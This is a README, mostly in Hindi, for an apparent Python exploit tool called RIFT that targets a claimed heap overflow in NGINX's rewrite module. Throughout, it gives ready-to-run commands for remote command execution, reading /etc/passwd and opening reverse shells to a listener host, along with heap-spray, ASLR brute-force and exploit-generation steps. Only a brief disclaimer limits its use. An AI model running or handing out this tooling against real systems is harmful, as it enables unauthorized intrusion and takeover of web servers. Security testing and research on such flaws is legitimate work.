RIFT — रिमोट इंजेक्शन और फॉल्ट ट्रिगर

लेखक: Michael Sanji Winaya Prawiradibrata
एआई सह-लेखक: Varanus — मेरे दोस्त

NGINX के ngx_http_rewrite_module को लक्षित करने वाला हीप बफर ओवरफ़्लो शोषण ढांचा।
एक टूल रिकॉनिसेंस + एक्सप्लॉइटेशन के लिए। शून्य बाहरी निर्भरताएँ।

Repo की सामग्री

आवश्यकताएँ

• Python 3.6+ (केवल stdlib — कोई pip नहीं, कोई venv नहीं, कोई निर्भरता नहीं)

त्वरित तरीका

# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon

# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only

सभी फ़्लैग्स

उपयोग मोड

एक्सप्लॉइट विकल्प

रिकॉन विकल्प

प्रमुख विशेषताएँ

✅ Auto Reverse Shell

जब --shell का उपयोग करते हैं, स्क्रिप्ट स्वचालित रूप से:

1. --shell-type के अनुसार रिवर्स शेल पेलोड उत्पन्न करें
2. --lport पर लिसनर खोलें
3. एक्सप्लॉइट भेजें
4. जैसे ही वर्कर क्रैश होता है → शेल आ जाता है
5. स्वचालित लिसनर: netcat (nc -lvnp) को प्राथमिकता दें, फ़ॉलबैक Python लिसनर

✅ ASLR Brute Force Otomatis

यदि डिफ़ॉल्ट पता विफल हो जाता है, तो स्क्रिप्ट स्वचालित रूप से हीप बेस को ±5 चरणों × 0x10000 से स्थानांतरित करती है, उपयुक्त पता ढूंढ़ती है। मैन्युअल सेटिंग की आवश्यकता नहीं।

✅ Multi-Payload Reverse Shell

4 प्रकार के शेल पेलोड — python, bash, nc, php। लक्ष्य पर उपलब्ध का चयन करें।

✅ Full Reconnaissance

--recon 5 चरण चलाता है:

1. फ़िंगरप्रिंट — NGINX संस्करण, 15 सामान्य एंडपॉइंट, रीराइट मॉड्यूल का पता लगाएँ
2. जानकारी लीक — त्रुटि पृष्ठ पर मेमोरी पता, टाइमिंग साइड चैनल
3. एंडपॉइंट परीक्षण — 6 प्रकार के पेलोड के साथ एंडपॉइंट व्यवहार
4. वर्कर काउंट — विलंबता पैटर्न से वर्कर प्रक्रियाओं की संख्या का अनुमान
5. रणनीति — विश्लेषण परिणामों के आधार पर कार्रवाई की सिफ़ारिश

✅ Output JSON

--output json अन्य उपकरणों के साथ एकीकरण या स्वचालित पार्सिंग के लिए।

असुरक्षित कॉन्फ़िगरेशन

लक्ष्य शोषण NGINX है जिसमें rewrite + set कॉन्फ़िगरेशन इस प्रकार है:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # length calc pake is_args = 0
}

परिणाम: आवंटित बफर बहुत छोटा है, URI एस्केपिंग (3× विस्तार) ओवरफ़्लो।

प्रभावित संस्करण

• NGINX Open Source: 0.6.27 – 1.30.0
• NGINX Plus: R32 – R36
• Fixed: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

एक्सप्लॉइट का काम करने का तरीका

1. HEAP SPRAY ─── POST /spray × 20 → हीप में नकली ngx_pool_cleanup_s रोपें
2. TRIGGER ────── GET /api/AAAA...++++... → URI एस्केपिंग के माध्यम से ओवरफ़्लो
3. CORRUPT ────── ओवरफ़्लो आसन्न पूल के क्लीनअप पॉइंटर को अधिलेखित करता है
4. EXEC ───────── पूल नष्ट हो जाता है → system("command") कॉल करें

महत्वपूर्ण स्थिरांक (rift.py में बदले जा सकते हैं)

पूर्ण उदाहरण

कमांड निष्पादन + विस्तृत

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

कस्टम पता (ASLR बाईपास)

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

कई प्रयास

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

रिकॉन + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

एक्सप्लॉइट स्क्रिप्ट उत्पन्न करें

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

समस्या निवारण

"Target doesn't appear to be running NGINX"

• पोर्ट जाँचें: nc -zv <IP> 80
• दूसरा पोर्ट आज़माएँ: --port 8080, --port 443
• शायद WAF/प्रॉक्सी के पीछे

"All exploitation attempts failed"

1. ASLR संभवतः सक्रिय है — स्वचालित ASLR स्लाइडिंग के लिए --auto आज़माएँ
2. NGINX संस्करण शायद पैच किया जा चुका है (> 1.30.1)
3. NGINX कॉन्फ़िगरेशन शायद असुरक्षित नहीं है (rewrite+set का उपयोग नहीं करता)
4. प्रति प्रयास विवरण देखने के लिए --verbose आज़माएँ

Shell कनेक्ट नहीं होता

• स्थानीय फ़ायरवॉल जाँचें: sudo ufw allow 4444
• --lhost जाँचें — सुनिश्चित करें कि स्थानीय IP सही है
• --shell-type bash या --shell-type nc आज़माएँ

अस्वीकरण

केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए बनाया गया है।
अनधिकृत प्रणाली के विरुद्ध उपयोग अवैध है।

© 2026 Michael Sanji Winaya Prawiradibrata
एआई सह-लेखक: Varanus